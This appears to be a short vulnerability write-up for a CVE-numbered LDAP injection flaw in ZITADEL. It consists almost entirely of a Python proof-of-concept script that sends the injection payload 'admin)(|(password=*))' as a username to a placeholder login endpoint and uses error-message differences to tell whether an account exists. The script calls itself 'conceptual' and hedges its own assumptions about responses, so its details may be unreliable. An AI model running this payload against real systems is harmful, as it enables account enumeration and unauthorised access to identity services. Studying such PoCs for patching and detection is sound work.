CVE-2026-44671: ZITADEL LDAP注入漏洞

import requests # This is a conceptual PoC for Blind LDAP Injection in ZITADEL # It checks for the existence of a user by analyzing response differences. target_url = "https://<target-zitadel-domain>/oauth/v2/ldap/login" # LDAP injection payload to check if a user 'admin' exists # Logic: If user exists, we might get a 'wrong password' error. # If user does not exist, we might get a 'user not found' error. # Payload structure: valid_user)(|(password=*)) # This attempts to make the filter always true if the user exists. payload = "admin)(|(password=*))" data = { "username": payload, "password": "any_password" } response = requests.post(target_url, data=data) if "invalid credentials" in response.text.lower(): print("[+] Potential Blind LDAP Injection confirmed.") print("[+] User 'admin' likely exists.") elif "user not found" in response.text.lower(): print("[-] User 'admin' likely does not exist or injection failed.") else: print("[?] Unexpected response.")